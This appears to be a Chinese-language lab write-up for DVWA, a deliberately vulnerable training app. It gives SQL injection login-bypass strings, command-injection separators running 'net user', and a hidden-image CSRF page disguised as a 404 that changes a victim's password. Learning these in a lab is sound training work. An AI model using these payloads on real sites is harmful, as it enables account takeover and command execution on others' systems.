DVWA简介
DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。
官网地址:http://www.dvwa.co.uk/
github地址:https://github.com/ethicalhack3r/DVWA
最新版(截止180901)
下载地址:https://github.com/ethicalhack3r/DVWA/archive/v1.9.zip
安装说明
通过文件/config/config.inc.php进行配置
DVWA登陆界面
其中一个默认密码:admin/password
DVWA共有十个模块,分别是:
Brute Force(暴力(破解))
Command Injection(命令行注入)
CSRF(跨站请求伪造)
File Inclusion(文件包含)
File Upload(文件上传)
Insecure CAPTCHA(不安全的验证码)
SQL Injection(SQL注入)
SQL Injection(Blind)(SQL盲注)
XSS(Reflected)(反射型跨站脚本)
XSS(Stored)(存储型跨站脚本)
DVWA分为四个等级的难度:
具体可以通过 DVWA Security 进行难度选择。
DVWA知识讲解
Brute Force -- 爆破
LOW 181008
#1 爆破
brupsuite抓包
使用Intruder模块爆破密码
得到admin password
#2 sql注入
我们分析源代码,发现没有任何的过滤
后台数据库查询语句:SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';
admin' or '1'='1
SELECT * FROM `users` WHERE user = 'admin' or '1'='1' AND password = '$pass'; (登陆成功)
SELECT * FROM `users` WHERE user = 'admin123' or '1'='1' AND password = '$pass'; (登陆失败,因为逻辑符号优先级问题,会先执行and,然后执行or)
admin'#
SELECT * FROM `users` WHERE user = 'admin' #' AND password = '$pass'; (登陆成功)
Command Injection -- 命令执行
首先确定后台是什么系统,这里是windows
localhost&net user 先执行1,不管是否成功,都会执行2
localhost&&net user 如果1执行成功,则执行2
localhost|net user 将1的输出作为2的输入,并且只打印2执行的结果。
localhost||net user 如果1执行失败,则执行2
LOW 181008
CSRF -- 跨站脚本攻击
跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。
CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。
而XSS更偏向利用漏洞执行js代码。
LOW 181015
如图,低难度的csrf只是验证输入的两次新密码是否一致,一致就可以修改密码。
抓包如下:
构造payload:
A) 最基础的:
当受害者点击了这个链接,他的密码就会被改成password
这种攻击不加伪装,链接一眼就能看出来是改密码的,而且受害者点了链接之后看到这个页面就会知道自己的密码被篡改了。
B) 改进版
现实攻击场景下,这种方法需要事先在公网上传一个攻击页面,诱骗受害者去访问,真正能够在受害者不知情的情况下完成CSRF攻击。这里为了方便演示在本地写一个test.html,下面是具体代码。
<img src="http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=11111111&password_conf=11111111&Change=Change#" border="0" style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>
当受害者访问test.html时,会误认为是自己点击的是一个失效的url,但实际上已经遭受了CSRF攻击,密码已经被修改为了11111111。
显示修改成功。